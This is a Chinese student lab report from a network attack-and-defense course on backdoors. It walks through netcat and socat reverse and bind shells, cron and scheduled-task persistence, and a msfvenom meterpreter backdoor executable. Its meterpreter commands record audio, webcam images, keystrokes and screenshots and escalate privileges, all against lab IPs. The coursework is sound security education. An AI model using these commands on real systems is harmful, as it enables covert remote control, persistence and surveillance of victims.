2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践
一、后门的概念
后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法
二、基础问题回答
- 问:例举你能想到的一个后门进入到你系统中的可能方式?
- 当我们打开一个木马网页时,会自动安装木马,生成可执行文件,以此在系统留下后门。
- 黑客利用系统自身的某个服务或者线程,将后门程序插入到其中
- 问:例举你知道的后门如何启动起来(win及linux)的方式?
- Windows:设置为开机自启动、修改注册表项
- Linux:对正常软件绑定注入shellcode
- 问:Meterpreter有哪些给你映像深刻的功能?
- 在植入后门后,可以获取被控主机的录音、录像、截图、键盘输入记录等。
- 问:如何发现自己有系统有没有被安装后门?
- 打开防火墙,查看有没有异常开放的端口;
- 使用杀毒软件查杀对系统进行检测;
后门工具
1.netcat
Windows获得Linux Shell
- 在Windows下使用ipconfig查看本机IP
- 使用ncat.exe程序打开监听 ncat.exe -l -p 5311
- 在kali中反弹连接Windows,ncat 192.168.1.150 5311 -e /bin/sh
- Windows成功获得kali的shell
Linux获得Windows Shell
- 在kali中使用ifconfig查看IP
- 打开监听nc -l -p 5311
- 在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.1.150 5311
- kali成功获得Windows的命令提示
使用nc传输数据
-
Windows下监听
5311
端口,ncat.exe -l 5311 -
kali反弹连接到Windows的
5311
端口,nc 192.168.1.155 5311 -
连接建立成功,双方可以相互传输数据
使用nc传输文件
-
Windows下监听
5311
端口,并把收到的数据保存到file1.out中,ncat.exe -l 5311 > file1.out -
kali反弹连接到Windows的
5311
端口,nc 192.168.1.150 5311 < file1.in -
连接建立成功,Win可以收到kali发来的文件。
任务一:使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
-
在Windows系统下,监听
5311
端口 -
在Kali环境下,用crontab -e指令编辑一条定时任务,选择编辑器时选择
3
; -
在最后一行添加12 * * * * /bin/netcat 192.168.1.150 5311 -e /bin/sh,意思是在每个小时的第12分钟反向连接Windows主机的5311端口。
任务二:使用socat获取主机操作Shell, 任务计划启动
socat:
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数 address 就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
-
搜索打开“计算机管理”
-
在“任务计划程序”中“创建任务”
-
填写任务名->新建一个触发器
-
在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5311 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口
5311
- 创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
- 此时,在Kali环境下输入指令socat - tcp:192.168.1.150:5311,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5311端口,此时可以发现已经成功获得了一个cmd shell
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT=5311 -f exe > 20165311_backdoor.exe,可以发现已经生成了后门程序“20165311_backdoor.exe”
在Windows下执行 ncat.exe -lv 5311 > 20165311_backdoor.exe ,这样被控主机就进入了接收文件模式,通过-lv
选项看到当前的连接状态,下面这个图是文件传输成功的截图
-
在Linux中执行nc 192.168.1.150 < 20165311_backdoor.exe,这里的IP为被控主机IP
-
传送接收文件成功,如下图所示
在Kali上使用 msfconsole 指令进入msf控制台,这时候我们可以看到一个爱心。
-
输入 use exploit/multi/handler 使用监听模块,设置payload
-
set payload windows/meterpreter/reverse_tcp ,使用和生成后门程序时相同的payload
-
set LHOST 192.168.1.155 ,这里用的是LinuxIP,和生成后门程序时指定的IP相同
-
set LPORT 5311 ,同样要使用相同的端口
设置完成后,执行监听,此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell。
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
使用record_mic指令可以截获一段音频,可以用
-d
选项设置录制时间
- 使用 webcam_snap 指令可以使用摄像头进行拍照
- 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
- 使用 screenshot 指令可以进行截屏,效果如下:
- 可使用getuid指令查看当前用户,使用getsystem指令进行提权
任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
实验遇到的问题及解决方法
在执行 webcam_snap 指令时出现了错误代码1411.
问题解决:首先我想到的是windows设备管理器没有添加摄像头,检查了管理器后确实如我预想的那样
于是我在虚拟机设置中安装了启动摄像头插件
再次查看设备管理器,问题得到了解决。
实验总结与体会
通过这次实验我感受到了网络攻防的有趣,也增加了以后学习这门课程的兴趣和动力。